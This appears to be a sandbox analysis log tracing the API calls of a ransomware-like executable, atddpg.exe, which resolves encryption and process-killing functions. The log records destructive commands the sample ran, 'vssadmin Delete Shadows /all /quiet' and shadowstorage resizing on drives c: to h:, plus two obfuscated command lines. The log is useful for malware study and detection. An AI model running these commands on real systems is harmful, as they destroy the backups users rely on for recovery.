# Flog Txt Version 1
# Analyzer Version: 3.2.1
# Analyzer Build Date: Feb  5 2020 10:35:20
# Log Creation Date: 10.02.2020 05:15:16.321

Process:
	id = "1"
	image_name = "atddpg.exe"
	filename = "c:\\users\\fd1hvy\\desktop\\atddpg.exe"
	page_root = "0xb0cc000"
	os_pid = "0x13fc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "analysis_target"
	parent_id = "0"
	os_parent_pid = "0x7d0"
	cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\atddpg.exe\" "
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1
	os_tid = 0x878

	[0040.657] LoadLibraryA (lpLibFileName="Kernel32.dll") returned 0x76750000
	[0040.657] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x76390000
	[0042.977] LoadLibraryA (lpLibFileName="Netapi32.dll") returned 0x741a0000
	[0043.111] LoadLibraryA (lpLibFileName="Iphlpapi.dll") returned 0x74170000
	[0043.271] LoadLibraryA (lpLibFileName="Rstrtmgr.dll") returned 0x74140000
	[0051.039] LoadLibraryA (lpLibFileName="Ws2_32.dll") returned 0x768b0000
	[0051.306] LoadLibraryA (lpLibFileName="User32.dll") returned 0x76240000
	[0051.306] LoadLibraryA (lpLibFileName="Shlwapi.dll") returned 0x74980000
	[0051.306] GetProcAddress (hModule=0x76390000, lpProcName="CryptAcquireContextA") returned 0x763afc40
	[0051.306] GetProcAddress (hModule=0x76390000, lpProcName="CryptGenKey") returned 0x763b3430
	[0051.306] GetProcAddress (hModule=0x76390000, lpProcName="CryptDestroyKey") returned 0x763afa60
	[0051.307] GetProcAddress (hModule=0x76390000, lpProcName="CryptExportKey") returned 0x763af700
	[0051.307] GetProcAddress (hModule=0x76390000, lpProcName="CryptImportKey") returned 0x763af6a0
	[0051.307] GetProcAddress (hModule=0x76390000, lpProcName="CryptEncrypt") returned 0x763c2cf0
	[0051.307] GetProcAddress (hModule=0x74140000, lpProcName="RmStartSession") returned 0x74147930
	[0051.307] GetProcAddress (hModule=0x74140000, lpProcName="RmRegisterResources") returned 0x74147660
	[0051.307] GetProcAddress (hModule=0x74140000, lpProcName="RmGetList") returned 0x741474f0
	[0051.307] GetProcAddress (hModule=0x74140000, lpProcName="RmEndSession") returned 0x74147420
	[0051.307] GetProcAddress (hModule=0x74140000, lpProcName="RmShutdown") returned 0x741478d0
	[0051.307] GetProcAddress (hModule=0x76750000, lpProcName="GetFileAttributesW") returned 0x767bef10
	[0051.307] GetProcAddress (hModule=0x76750000, lpProcName="SetFileAttributesW") returned 0x767bf100
	[0051.307] GetProcAddress (hModule=0x76750000, lpProcName="CreateFileW") returned 0x767bed10
	[0051.307] GetProcAddress (hModule=0x76750000, lpProcName="GetFileSizeEx") returned 0x767bef40
	[0051.307] GetProcAddress (hModule=0x76750000, lpProcName="SetFilePointer") returned 0x767bf120
	[0051.308] GetProcAddress (hModule=0x76750000, lpProcName="SetFilePointerEx") returned 0x767bf130
	[0051.308] GetProcAddress (hModule=0x76750000, lpProcName="SetEndOfFile") returned 0x767bf0e0
	[0051.308] GetProcAddress (hModule=0x76750000, lpProcName="CloseHandle") returned 0x767beab0
	[0051.308] GetProcAddress (hModule=0x76750000, lpProcName="WriteFile") returned 0x767bf180
	[0051.308] GetProcAddress (hModule=0x76750000, lpProcName="ReadFile") returned 0x767bf090
	[0051.308] GetProcAddress (hModule=0x76750000, lpProcName="VirtualAlloc") returned 0x76766970
	[0051.308] GetProcAddress (hModule=0x76750000, lpProcName="VirtualFree") returned 0x767669d0
	[0051.308] GetProcAddress (hModule=0x76750000, lpProcName="CreateIoCompletionPort") returned 0x76764530
	[0051.308] GetProcAddress (hModule=0x76750000, lpProcName="PostQueuedCompletionStatus") returned 0x76765d20
	[0051.308] GetProcAddress (hModule=0x76750000, lpProcName="GetQueuedCompletionStatus") returned 0x767652e0
	[0051.308] GetProcAddress (hModule=0x76750000, lpProcName="GlobalAlloc") returned 0x76765750
	[0051.308] GetProcAddress (hModule=0x76750000, lpProcName="GlobalFree") returned 0x76761ee0
	[0051.309] GetProcAddress (hModule=0x76750000, lpProcName="GetLogicalDriveStringsW") returned 0x767befb0
	[0051.309] GetProcAddress (hModule=0x76750000, lpProcName="GetDriveTypeW") returned 0x767beed0
	[0051.309] GetProcAddress (hModule=0x76750000, lpProcName="FindFirstFileW") returned 0x767bedf0
	[0051.309] GetProcAddress (hModule=0x76750000, lpProcName="FindNextFileW") returned 0x767bee40
	[0051.309] GetProcAddress (hModule=0x76750000, lpProcName="FindClose") returned 0x767bed70
	[0051.309] GetProcAddress (hModule=0x76750000, lpProcName="CreateToolhelp32Snapshot") returned 0x7679edc0
	[0051.309] GetProcAddress (hModule=0x76750000, lpProcName="Process32FirstW") returned 0x7679f750
	[0051.309] GetProcAddress (hModule=0x76750000, lpProcName="Process32NextW") returned 0x7679f8f0
	[0051.309] GetProcAddress (hModule=0x76750000, lpProcName="OpenProcess") returned 0x76765cc0
	[0051.309] GetProcAddress (hModule=0x76750000, lpProcName="TerminateProcess") returned 0x767667e0
	[0051.309] GetProcAddress (hModule=0x76750000, lpProcName="FindResourceA") returned 0x767a27c0
	[0051.309] GetProcAddress (hModule=0x76750000, lpProcName="SizeofResource") returned 0x76766740
	[0051.309] GetProcAddress (hModule=0x76750000, lpProcName="LoadResource") returned 0x76765b00
	[0051.310] GetProcAddress (hModule=0x76750000, lpProcName="LockResource") returned 0x76765bc0
	[0051.310] GetProcAddress (hModule=0x76750000, lpProcName="CreateProcessA") returned 0x767645b0
	[0051.310] GetProcAddress (hModule=0x76750000, lpProcName="MoveFileW") returned 0x7679e500
	[0051.310] GetProcAddress (hModule=0x76750000, lpProcName="MultiByteToWideChar") returned 0x76765c40
	[0051.310] GetProcAddress (hModule=0x76750000, lpProcName="GetModuleHandleA") returned 0x767650b0
	[0051.310] GetProcAddress (hModule=0x76750000, lpProcName="ExitProcess") returned 0x76763cb0
	[0051.310] GetProcAddress (hModule=0x76750000, lpProcName="lstrcmpiW") returned 0x76766bf0
	[0051.310] GetProcAddress (hModule=0x76750000, lpProcName="lstrcpyW") returned 0x767a7140
	[0051.310] GetProcAddress (hModule=0x76750000, lpProcName="lstrlenW") returned 0x76766c70
	[0051.310] GetProcAddress (hModule=0x76750000, lpProcName="lstrcatW") returned 0x767a71a0
	[0051.310] GetProcAddress (hModule=0x76750000, lpProcName="lstrcpynW") returned 0x76766c30
	[0051.310] GetProcAddress (hModule=0x76750000, lpProcName="EnterCriticalSection") returned 0x7789b2d0
	[0051.311] GetProcAddress (hModule=0x76750000, lpProcName="LeaveCriticalSection") returned 0x7789b250
	[0051.311] GetProcAddress (hModule=0x76750000, lpProcName="InitializeCriticalSection") returned 0x778aaf20
	[0051.311] GetProcAddress (hModule=0x76750000, lpProcName="DeleteCriticalSection") returned 0x7787fb90
	[0051.311] GetProcAddress (hModule=0x76750000, lpProcName="CreateThread") returned 0x767646b0
	[0051.311] GetProcAddress (hModule=0x76750000, lpProcName="ExitThread") returned 0x778b6390
	[0051.311] GetProcAddress (hModule=0x76750000, lpProcName="WaitForMultipleObjects") returned 0x767bec80
	[0051.311] GetProcAddress (hModule=0x76750000, lpProcName="WaitForSingleObject") returned 0x767beca0
	[0051.311] GetProcAddress (hModule=0x76750000, lpProcName="HeapAlloc") returned 0x77892dc0
	[0051.311] GetProcAddress (hModule=0x76750000, lpProcName="HeapFree") returned 0x767657f0
	[0051.311] GetProcAddress (hModule=0x76750000, lpProcName="GetProcessHeap") returned 0x767651f0
	[0051.311] GetProcAddress (hModule=0x76750000, lpProcName="GetLastError") returned 0x76765010
	[0051.311] GetProcAddress (hModule=0x74980000, lpProcName="StrStrIW") returned 0x74994390
	[0051.312] GetProcAddress (hModule=0x768b0000, lpProcName="InetNtopW") returned 0x768c9c30
	[0051.312] GetProcAddress (hModule=0x76240000, lpProcName="wsprintfW") returned 0x7625f440
	[0051.312] GetProcAddress (hModule=0x741a0000, lpProcName="NetShareEnum") returned 0x740b4320
	[0051.507] GetProcAddress (hModule=0x741a0000, lpProcName="NetApiBufferFree") returned 0x740a17c0
	[0051.653] GetProcAddress (hModule=0x74170000, lpProcName="GetIpNetTable") returned 0x741827d0
	[0051.653] GetModuleHandleA (lpModuleName=0x0) returned 0xb0000
	[0051.653] FindResourceA (hModule=0xb0000, lpName=0x68, lpType=0xa) returned 0xba0a0
	[0051.654] FindResourceA (hModule=0xb0000, lpName=0x69, lpType=0xa) returned 0xba0b0
	[0051.654] SizeofResource (hModule=0xb0000, hResInfo=0xba0a0) returned 0xa2
	[0051.654] SizeofResource (hModule=0xb0000, hResInfo=0xba0b0) returned 0x4
	[0051.654] LoadResource (hModule=0xb0000, hResInfo=0xba0a0) returned 0xba0d0
	[0051.654] LoadResource (hModule=0xb0000, hResInfo=0xba0b0) returned 0xba174
	[0051.654] LockResource (hResData=0xba0d0) returned 0xba0d0
	[0051.654] LockResource (hResData=0xba174) returned 0xba174
	[0051.654] GetProcessHeap () returned 0x1720000
	[0051.654] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x808) returned 0x173d820
	[0051.654] MultiByteToWideChar (in: CodePage=0x1, dwFlags=0x0, lpMultiByteStr=0xba174, cbMultiByte=4, lpWideCharStr=0x173d820, cchWideChar=1027 | out: lpWideCharStr="null") returned 4
	[0051.654] lstrcmpiW (lpString1="null", lpString2="null") returned 0
	[0051.656] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c vssadmin Delete Shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f5b0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f5f8 | out: lpCommandLine="cmd.exe /c vssadmin Delete Shadows /all /quiet", lpProcessInformation=0x136f5f8*(hProcess=0x1b4, hThread=0x1b0, dwProcessId=0x114c, dwThreadId=0x1154)) returned 1
	[0052.085] WaitForSingleObject (hHandle=0x1b4, dwMilliseconds=0xffffffff) returned 0x0
	[0059.788] CloseHandle (hObject=0x1b0) returned 1
	[0059.788] CloseHandle (hObject=0x1b4) returned 1
	[0059.788] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f5b0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f5f8 | out: lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB", lpProcessInformation=0x136f5f8*(hProcess=0x1b0, hThread=0x1b4, dwProcessId=0x168, dwThreadId=0xed0)) returned 1
	[0059.807] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0xffffffff) returned 0x0
	[0063.013] CloseHandle (hObject=0x1b4) returned 1
	[0063.013] CloseHandle (hObject=0x1b0) returned 1
	[0063.013] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f5b0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f5f8 | out: lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded", lpProcessInformation=0x136f5f8*(hProcess=0x1b4, hThread=0x1b0, dwProcessId=0xfb4, dwThreadId=0xf90)) returned 1
	[0063.064] WaitForSingleObject (hHandle=0x1b4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.845] CloseHandle (hObject=0x1b0) returned 1
	[0068.849] CloseHandle (hObject=0x1b4) returned 1
	[0068.857] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f5b0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f5f8 | out: lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB", lpProcessInformation=0x136f5f8*(hProcess=0x1b0, hThread=0x1b4, dwProcessId=0x12d4, dwThreadId=0x12e0)) returned 1
	[0068.900] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0xffffffff) returned 0x0
	[0070.540] CloseHandle (hObject=0x1b4) returned 1
	[0070.540] CloseHandle (hObject=0x1b0) returned 1
	[0070.540] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f5b0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f5f8 | out: lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded", lpProcessInformation=0x136f5f8*(hProcess=0x1b4, hThread=0x1b0, dwProcessId=0x136c, dwThreadId=0x12c8)) returned 1
	[0070.556] WaitForSingleObject (hHandle=0x1b4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.587] CloseHandle (hObject=0x1b0) returned 1
	[0071.587] CloseHandle (hObject=0x1b4) returned 1
	[0071.587] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f5b0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f5f8 | out: lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB", lpProcessInformation=0x136f5f8*(hProcess=0x1b0, hThread=0x1b4, dwProcessId=0x35c, dwThreadId=0x4d4)) returned 1
	[0071.604] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0xffffffff) returned 0x0
	[0072.930] CloseHandle (hObject=0x1b4) returned 1
	[0072.930] CloseHandle (hObject=0x1b0) returned 1
	[0072.930] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f5b0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f5f8 | out: lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded", lpProcessInformation=0x136f5f8*(hProcess=0x1b4, hThread=0x1b0, dwProcessId=0xb3c, dwThreadId=0xbc0)) returned 1
	[0072.945] WaitForSingleObject (hHandle=0x1b4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.066] CloseHandle (hObject=0x1b0) returned 1
	[0074.066] CloseHandle (hObject=0x1b4) returned 1
	[0074.066] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f5b0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f5f8 | out: lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB", lpProcessInformation=0x136f5f8*(hProcess=0x1b0, hThread=0x1b4, dwProcessId=0x2c0, dwThreadId=0xe64)) returned 1
	[0074.083] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0xffffffff) returned 0x0
	[0074.822] CloseHandle (hObject=0x1b4) returned 1
	[0074.822] CloseHandle (hObject=0x1b0) returned 1
	[0074.822] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f5b0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f5f8 | out: lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded", lpProcessInformation=0x136f5f8*(hProcess=0x1b4, hThread=0x1b0, dwProcessId=0xfe0, dwThreadId=0x25c)) returned 1
	[0074.836] WaitForSingleObject (hHandle=0x1b4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.934] CloseHandle (hObject=0x1b0) returned 1
	[0079.934] CloseHandle (hObject=0x1b4) returned 1
	[0079.934] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f5b0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f5f8 | out: lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB", lpProcessInformation=0x136f5f8*(hProcess=0x1b0, hThread=0x1b4, dwProcessId=0x72c, dwThreadId=0x1160)) returned 1
	[0079.984] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0xffffffff) returned 0x0
	[0086.013] CloseHandle (hObject=0x1b4) returned 1
	[0086.013] CloseHandle (hObject=0x1b0) returned 1
	[0086.013] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f5b0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f5f8 | out: lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded", lpProcessInformation=0x136f5f8*(hProcess=0x1b4, hThread=0x1b0, dwProcessId=0x13ac, dwThreadId=0x13b4)) returned 1
	[0086.097] WaitForSingleObject (hHandle=0x1b4, dwMilliseconds=0xffffffff) returned 0x0
	[0089.444] CloseHandle (hObject=0x1b0) returned 1
	[0089.445] CloseHandle (hObject=0x1b4) returned 1
	[0089.445] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f5b0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f5f8 | out: lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB", lpProcessInformation=0x136f5f8*(hProcess=0x1b0, hThread=0x1b4, dwProcessId=0xfa4, dwThreadId=0x380)) returned 1
	[0089.469] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0xffffffff) returned 0x0
	[0090.354] CloseHandle (hObject=0x1b4) returned 1
	[0090.354] CloseHandle (hObject=0x1b0) returned 1
	[0090.354] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f5b0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f5f8 | out: lpCommandLine="cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded", lpProcessInformation=0x136f5f8*(hProcess=0x1b4, hThread=0x1b0, dwProcessId=0x378, dwThreadId=0x1154)) returned 1
	[0090.373] WaitForSingleObject (hHandle=0x1b4, dwMilliseconds=0xffffffff) returned 0x0
	[0091.427] CloseHandle (hObject=0x1b0) returned 1
	[0091.427] CloseHandle (hObject=0x1b4) returned 1
	[0091.427] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c vssadmin Delete Shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f5b0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f5f8 | out: lpCommandLine="cmd.exe /c vssadmin Delete Shadows /all /quiet", lpProcessInformation=0x136f5f8*(hProcess=0x1b0, hThread=0x1b4, dwProcessId=0x3fc, dwThreadId=0xfbc)) returned 1
	[0091.446] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0xffffffff) returned 0x0
	[0092.440] CloseHandle (hObject=0x1b4) returned 1
	[0092.440] CloseHandle (hObject=0x1b0) returned 1
	[0092.440] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Øúëö÷ðê¹ÏÊʹÉëöïðýü뻹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Øúëö÷ðê¹ÏÊʹÉëöïðýü뻹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.459] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Ü÷íüëéëðêü¹Úõðü÷í¹Êüëïðúü»¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Ü÷íüëéëðêü¹Úõðü÷í¹Êüëïðúü»¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
